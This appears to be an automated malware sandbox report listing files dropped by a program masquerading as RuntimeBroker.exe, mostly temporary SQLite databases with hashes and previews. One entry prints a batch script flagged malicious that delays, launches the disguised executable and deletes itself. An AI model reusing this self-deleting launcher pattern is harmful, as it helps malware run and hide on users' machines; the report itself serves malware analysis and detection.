File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FXNba8cxgB

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FlcsZpruRo

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Gnwj3iXpM0

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\H3F4MGeask

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HArqwkOZhw.bat

Download File

Process:	C:\ServerWinRuntimeBroker\chainPorthostCommon.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	225
Entropy (8bit):	5.143791187184367
Encrypted:	false
SSDEEP:	6:hCijTg3Nou1SV+DEj5zvIKOZG1N723feU9zK:HTg9uYDEj5jzaW9
MD5:	2ECFC9071E254C5EDB6E20ECB0231D7E
SHA1:	34E55FD199E5F9F9CCA8F0CDF298A98890D35A2D
SHA-256:	BCFC207D70BB96A252599F407830E5ABC678E39C203FE489CE9010AE367D9493
SHA-512:	23DCC82B63997A7CE888CF1A46EEF54BBF00C2DC7874F617D80B2D1D7BC1138B75D066AA7885B95E76ABDF2B94A2ACF10D464E25D5A7120E977CE1AD54E2EA59
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nul..start "" "C:\Windows\LiveKernelReports\RuntimeBroker.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\HArqwkOZhw.bat"

C:\Users\user\AppData\Local\Temp\HLtjQkDKgJ

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\I8QecQ6teO

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ILsVoJuzGv

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IlI66YRGfo

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Iu5hBwC0D9

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\J60ruFRGV4

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\J7UqBuxD3j

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Jn3G8klyxY

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Jup0iOChsz

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KFoqr2ejzM

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KIbmTcBYwh

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KxTBxmfuHr

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KyWyfHACIC

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\LY6TIROFD7

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MRTGAtKHTK

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MbPvA7qIpq

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\N1Ovr3n8lJ

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NBSEdNxulo

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NKnwNZvpKJ

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NOQwspsIcU

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NXEWuyzxbY

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
